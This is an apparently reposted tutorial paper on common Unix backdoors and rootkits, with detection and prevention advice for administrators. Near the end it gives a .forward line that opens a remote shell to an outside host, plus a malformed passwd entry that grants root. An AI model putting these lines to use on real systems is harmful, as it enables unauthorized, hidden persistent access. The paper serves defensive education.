Backdoors Tutorial/Info


SUBMITTED BY: Milazzo11

DATE: Nov. 27, 2020, 10:59 a.m.

FORMAT: Text only

SIZE: 20.0 kB

HITS: 398

  1. Backdoors
  2. Since the early days of intruders breaking into computers, they have tried
  3. to develop techniques or backdoors that allow them to get back into the
  4. system. In this paper, it will be focused on many of the common backdoors
  5. and possible ways to check for them. Most of focus will be on Unix
  6. backdoors with some discussion on future Windows NT backdoors. This will
  7. describe the complexity of the issues in trying to determine the methods
  8. that intruders use and the basis for administrators understanding on how
  9. they might be able to stop the intruders from getting back in. When an
  10. administrator understands how difficult it would be to stop intruder once
  11. they are in, the appreciation of being proactive to block the intruder from
  12. ever getting in becomes better understood. This is intended to cover many
  13. of the popular commonly used backdoors by beginner and advanced intruders.
  14. This is not intended to cover every possible way to create a backdoor as
  15. the possibilities are limitless.
  16. The backdoor for most intruders provide two or three main functions:
  17. Be able to get back into a machine even if the administrator tries to
  18. secure it, e.g., changing all the passwords.
  19. Be able to get back into the machine with the least amount of visibility.
  20. Most backdoors provide a way to avoid being logged and many times the
  21. machine can appear to have no one online even while an intruder is using
  22. it.
  23. Be able to get back into the machine with the least amount of time. Most
  24. intruders want to easily get back into the machine without having to do all
  25. the work of exploiting a hole to gain access.
  26. In some cases, if the intruder may think the administrator may detect any
  27. installed backdoor, they will resort to using the vulnerability repeatedly
  28. to get on a machine as the only backdoor. Thus not touching anything that
  29. may tip off the administrator. Therefore in some cases, the
  30. vulnerabilities on a machine remain the only unnoticed backdoor.
  31. Password Cracking Backdoor
  32. One of the first and oldest methods of intruders used to gain not only
  33. access to a Unix machine but backdoors was to run a password cracker. This
  34. uncovers weak passworded accounts. All these new accounts are now possible
  35. backdoors into a machine even if the system administrator locks out the
  36. intruder's current account. Many times, the intruder will look for unused
  37. accounts with easy passwords and change the password to something
  38. difficult. When the administrator looked for all the weak passworded
  39. accounts, the accounts with modified passwords will not appear. Thus the
  40. administrator will not be able to easily determine which accounts to lock
  41. out.
  42. Rhosts + + Backdoor
  43. On networked Unix machines, services like Rsh and Rlogin used a simple
  44. authentication method based on hostnames that appear in rhosts. A user
  45. could easily configure which machines not to require a password to log
  46. into. An intruder that gained access to someone's rhosts file could put a
  47. "+ +" in the file and that would allow anyone from anywhere to log into
  48. that account without a password. Many intruders use this method especially
  49. when NFS is exporting home directories to the world. These accounts
  50. become backdoors for intruders to get back into the system. Many intruders
  51. prefer using Rsh over Rlogin because it is many times lacking any logging
  52. capability. Many administrators check for "+ +" therefore an intruder may
  53. actually put in a hostname and username from another compromised account on
  54. the network, making it less obvious to spot.
  55. Checksum and Timestamp Backdoors
  56. Early on, many intruders replaced binaries with their own trojan versions.
  57. Many system administrators relied on time-stamping and the system checksum
  58. programs, e.g., Unix's sum program, to try to determine when a binary file
  59. has been modified. Intruders have developed technology that will recreate
  60. the same time-stamp for the trojan file as the original file. This is
  61. accomplished by setting the system clock time back to the original file's
  62. time and then adjusting the trojan file's time to the system clock. Once
  63. the binary trojan file has the exact same time as the original, the system
  64. clock is reset to the current time. The sum program relies on a CRC
  65. checksum and is easily spoofed. Intruders have developed programs that
  66. would modify the trojan binary to have the necessary original checksum,
  67. thus fooling the administrators. MD5 checksums is the recommended choice
  68. to use today by most vendors. MD5 is based on an algorithm that no one has
  69. yet to date proven can be spoofed.
  70. Login Backdoor
  71. On Unix, the login program is the software that usually does the password
  72. authentication when someone telnets to the machine. Intruders grabbed the
  73. source code to login.c and modified it that when login compared the user's
  74. password with the stored password, it would first check for a backdoor
  75. password. If the user typed in the backdoor password, it would allow you to
  76. log in regardless of what the administrator sets the passwords to. Thus
  77. this allowed the intruder to log into any account, even root. The
  78. password backdoor would spawn access before the user actually logged in and
  79. appeared in utmp and wtmp. Therefore an intruder could be logged in and
  80. have shell access without it appearing anyone is on that machine as that
  81. account. Administrators started noticing these backdoors especially if
  82. they did a "strings" command to find what text was in the login program.
  83. Many times the backdoor password would show up. The intruders then
  84. encrypted or hid the backdoor password better so it would not appear by
  85. just doing strings. Many of the administrators can detect these backdoors
  86. with MD5 checksums.
  87. Telnetd Backdoor
  88. When a user telnets to the machine, inetd service listens on the port and
  89. receive the connection and then passes it to in.telnetd, that then runs
  90. login. Some intruders knew the administrator was checking the login
  91. program for tampering, so they modified in.telnetd. Within in.telnetd, it
  92. does several checks from the user for things like what kind of terminal the
  93. user was using. Typically, the terminal setting might be Xterm or VT100.
  94. An intruder could backdoor it so that when the terminal was set to
  95. "letmein", it would spawn a shell without requiring any authentication.
  96. Intruders have backdoored some services so that any connection from a
  97. specific source port can spawn a shell.
  98. Services Backdoor
  99. Almost every network service has at one time been backdoored by an
  100. intruder. Backdoored versions of finger, rsh, rexec, rlogin, ftp, even
  101. inetd, etc., have been floating around forever. There are programs that
  102. are nothing more than a shell connected to a TCP port with maybe a backdoor
  103. password to gain access. These programs sometimes replace a service like
  104. uucp that never gets used or they get added to the inetd.conf file as a new
  105. service. Administrators should be very wary of what services are running
  106. and analyze the original services by MD5 checksums.
  107. Cronjob backdoor
  108. Cronjob on Unix schedules when certain programs should be run. An intruder
  109. could add a backdoor shell program to run between 1 AM and 2 AM. So for 1
  110. hour every night, the intruder could gain access. Intruders have also
  111. looked at legitimate programs that typically run in cronjob and built
  112. backdoors into those programs as well.
  113. Library backdoors
  114. Almost every UNIX system uses shared libraries. The shared libraries are
  115. intended to reuse many of the same routines thus cutting down on the size
  116. of programs. Some intruders have backdoored some of the routines like
  117. crypt.c and _crypt.c. Programs like login.c would use the crypt() routine
  118. and if a backdoor password was used it would spawn a shell. Therefore,
  119. even if the administrator was checking the MD5 of the login program, it was
  120. still spawning a backdoor routine and many administrators were not checking
  121. the libraries as a possible source of backdoors.
  122. One problem for many intruders was that some administrators started MD5
  123. checksums of almost everything. One method intruders used to get around
  124. that is to backdoor the open() and file access routines. The backdoor
  125. routines were configured to read the original files, but execute the trojan
  126. backdoors. Therefore, when the MD5 checksum program was reading these
  127. files, the checksums always looked good. But when the system ran the
  128. program, it executed the trojan version. Even the trojan library itself,
  129. could be hidden from the MD5 checksums. One way to an administrator could
  130. get around this backdoor was to statically link the MD5 checksum checker
  131. and run on the system. The statically linked program does not use the
  132. trojan shared libraries.
  133. Kernel backdoors
  134. The kernel on Unix is the core of how Unix works. The same method used for
  135. libraries for bypassing MD5 checksum could be used at the kernel level,
  136. except even a statically linked program could not tell the difference. A
  137. good backdoored kernel is probably one of the hardest to find by
  138. administrators, fortunately kernel backdoor scripts have not yet been
  139. widely made available and no one knows how wide spread they really are.
  140. File system backdoors
  141. An intruder may want to store their loot or data on a server somewhere
  142. without the administrator finding the files. The intruder's files can
  143. typically contain their toolbox of exploit scripts, backdoors, sniffer
  144. logs, copied data like email messages, source code, etc. To hide these
  145. sometimes large files from an administrator, an intruder may patch the
  146. files system commands like "ls", "du", and "fsck" to hide the existence of
  147. certain directories or files. At a very low level, one intruder's backdoor
  148. created a section on the hard drive to have a proprietary format that was
  149. designated as "bad" sectors on the hard drive. Thus an intruder could
  150. access those hidden files with only special tools, but to the regular
  151. administrator, it is very difficult to determine that the marked "bad"
  152. sectors were indeed storage area for the hidden file system.
  153. Bootblock backdoors
  154. In the PC world, many viruses have hid themselves within the bootblock
  155. section and most antivirus software will check to see if the bootblock has
  156. been altered. On Unix, most administrators do not have any software that
  157. checks the bootblock, therefore some intruders have hidden some backdoors
  158. in the bootblock area.
  159. Process hiding backdoors
  160. An intruder many times wants to hide the programs they are running. The
  161. programs they want to hide are commonly a password cracker or a sniffer.
  162. There are quite a few methods and here are some of the more common:
  163. An intruder may write the program to modify its own argv[] to make it look
  164. like another process name.
  165. An intruder could rename the sniffer program to a legitimate service like
  166. in.syslog and run it. Thus when an administrator does a "ps" or looks at
  167. what is running, the standard service names appear.
  168. An intruder could modify the library routines so that "ps" does not show
  169. all the processes.
  170. An intruder could patch a backdoor or program into an interrupt driven
  171. routine so it does not appear in the process table. An example backdoor
  172. using this technique is amod.tar.gz available on
  173. http://star.niimm.spb.su/~maillist/bugtraq.1/0777.html
  174. An intruder could modify the kernel to hide certain processes as well.
  175. Rootkit
  176. One of the most popular packages to install backdoors is rootkit. It can
  177. easily be located using Web search engines. From the Rootkit README, here
  178. are the typical files that get installed:
  179. z2 - removes entries from utmp, wtmp, and lastlog.
  180. Es - rokstar's ethernet sniffer for sun4 based kernels.
  181. Fix - try to fake checksums, install with same dates/perms/u/g.
  182. Sl - become root via a magic password sent to login.
  183. Ic - modified ifconfig to remove PROMISC flag from output.
  184. ps: - hides the processes.
  185. Ns - modified netstat to hide connections to certain machines.
  186. Ls - hides certain directories and files from being listed.
  187. du5 - hides how much space is being used on your hard drive.
  188. ls5 - hides certain files and directories from being listed.
  189. Network traffic backdoors
  190. Not only do intruders want to hide their tracks on the machine, but also
  191. they want to hide their network traffic as much as possible. These network
  192. traffic backdoors sometimes allow an intruder to gain access through a
  193. firewall. There are many network backdoor programs that allow an intruder
  194. to set up on a certain port number on a machine that will allow access
  195. without ever going through the normal services. Because the traffic is
  196. going to a non-standard network port, the administrator can overlook the
  197. intruder's traffic. These network traffic backdoors are typically using
  198. TCP, UDP, and ICMP, but it could be many other kinds of packets.
  199. TCP Shell Backdoors
  200. The intruder can set up these TCP Shell backdoors on some high port number
  201. possibly where the firewall is not blocking that TCP port. Many times,
  202. they will be protected with a password just so that an administrator that
  203. connects to it, will not immediately see shell access. An administrator
  204. can look for these connections with netstat to see what ports are listening
  205. and where current connections are going to and from. Many times, these
  206. backdoors allow an intruder to get past TCP Wrapper technology. These
  207. backdoors could be run on the SMTP port, which many firewalls allow traffic
  208. to pass for e-mail.
  209. UDP Shell Backdoors
  210. Administrator many times can spot a TCP connection and notice the odd
  211. behavior, while UDP shell backdoors lack any connection so netstat would
  212. not show an intruder accessing the Unix machine. Many firewalls have been
  213. configured to allow UDP packets for services like DNS through. Many times,
  214. intruders will place the UDP Shell backdoor on that port and it will be
  215. allowed to by-pass the firewall.
  216. ICMP Shell Backdoors
  217. Ping is one of the most common ways to find out if a machine is alive by
  218. sending and receiving ICMP packets. Many firewalls allow outsiders to ping
  219. internal machines. An intruder can put data in the Ping ICMP packets and
  220. tunnel a shell between the pinging machines. An administrator may notice a
  221. flurry of Ping packets, but unless the administrator looks at the data in
  222. the packets, an intruder can be unnoticed.
  223. Encrypted Link
  224. An administrator can set up a sniffer trying to see data appears as someone
  225. accessing a shell, but an intruder can add encryption to the Network
  226. traffic backdoors and it becomes almost impossible to determine what is
  227. actually being transmitted between two machines.
  228. Windows NT
  229. Because Windows NT does not easily allow multiple users on a single machine
  230. and remote access similar as Unix, it becomes harder for the intruder to
  231. break into Windows NT, install a backdoor, and launch an attack from it.
  232. Thus you will find more frequently network attacks that are spring boarded
  233. from a Unix box than Windows NT. As Windows NT advances in multi-user
  234. technologies, this may give a higher frequency of intruders who use Windows
  235. NT to their advantage. And if this does happen, many of the concepts from
  236. Unix backdoors can be ported to Windows NT and administrators can be ready
  237. for the intruder. Today, there are already telnet daemons available for
  238. Windows NT. With Network Traffic backdoors, they are very feasible for
  239. intruders to install on Windows NT.
  240. Solutions
  241. As backdoor technology advances, it becomes even harder for administrators
  242. to determine if an intruder has gotten in or if they have been successfully
  243. locked out.
  244. Assessment
  245. One of the first steps in being proactive is to assess how vulnerable your
  246. network is, thus being able to figure out what holes exist that should be
  247. fixed. Many commercial tools exist to help scan and audit the network and
  248. systems for vulnerabilities. Many companies could dramatically improve
  249. their security if they only installed the security patches made freely
  250. available by their vendors.
  251. MD5 Baselines
  252. One necessary component of a system scanner is MD5 checksum baselines.
  253. This MD5 baseline should be built up before a hacker attack with clean
  254. systems. Once a hacker is in and has installed backdoors, trying to create
  255. a baseline after the fact could incorporate the backdoors into the
  256. baseline. Several companies had been hacked and had backdoors installed on
  257. their systems for many months. Overtime, all the backups of the systems
  258. contained the backdoors. When some of these companies found out they had
  259. a hacker, they restored a backup in hopes of removing any backdoors. The
  260. effort was futile since they were restoring all the files, even the
  261. backdoored ones. The binary baseline comparison needs to be done before an
  262. attack happens.
  263. Intrusion detection
  264. Intrusion detection is becoming more important as organizations are hooking
  265. up and allowing connections to some of their machines. Most of the older
  266. intrusion detection technology was log-based events. The latest intrusion
  267. detection system (IDS) technology is based on real-time sniffing and
  268. network traffic security analysis. Many of the network traffic backdoors
  269. can now easily be detected. The latest IDS technology can take a look at
  270. the DNS UDP packets and determine if it matches the DNS protocol requests.
  271. If the data on the DNS port does not match the DNS protocol, an alert flag
  272. can be signaled and the data captured for further analysis. The same
  273. principle can be applied to the data in an ICMP packet to see if it is the
  274. normal ping data or if it is carrying encrypted shell session.
  275. Boot from CD-ROM.
  276. Some administrators may want to consider booting from CD-ROM thus
  277. eliminating the possibility of an intruder installing a backdoor on the
  278. CD-ROM. The problem with this method is the cost and time of implementing
  279. this solution enterprise wide.
  280. Vigilant
  281. Because the security field is changing so fast, with new vulnerabilities
  282. being announced daily and intruders are constantly designing new attack and
  283. backdoor techniques, no security technology is effective without vigilance.
  284. Be aware that no defense is foolproof, and that there is no substitute for
  285. diligent attention.
  286. -------------------------------------------------------------------------
  287. you may want to add:
  288. .forward Backdoor
  289. On Unix machines, placing commands into the .forward file was also
  290. a common method of regaining access. For the account ``username''
  291. a .forward file might be constructed as follows:
  292. \username
  293. |"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e /bin/sh"
  294. permutations of this method include alteration of the systems mail
  295. aliases file (most commonly located at /etc/aliases). Note that
  296. this is a simple permutation, the more advanced can run a simple
  297. script from the forward file that can take arbitrary commands via
  298. stdin (after minor preprocessing).
  299. PS: The above method is also useful gaining access a companies
  300. mailhub (assuming there is a shared a home directory FS on
  301. the client and server).
  302. > Using smrsh can effectively negate this backdoor (although it's quite
  303. > possibly still a problem if you allow things like elm's filter or
  304. > procmail which can run programs themselves...).
  305. ---------------------------------------------------------------------------
  306. you may want to add this "feature" that can act as a backdoor:
  307. when specifying a wrong uid/gid in the /etc/password file,
  308. most login(1) implementations will fail to detect the wrong
  309. uid/gid and atoi(3) will set uid/gid to 0, giving superuser
  310. privileges.
  311. example:
  312. rmartin:x:x50:50:R. Martin:/home/rmartin:/bin/tcsh
  313. on Linux boxes, this will give uid 0 to user rmartin.

comments powered by Disqus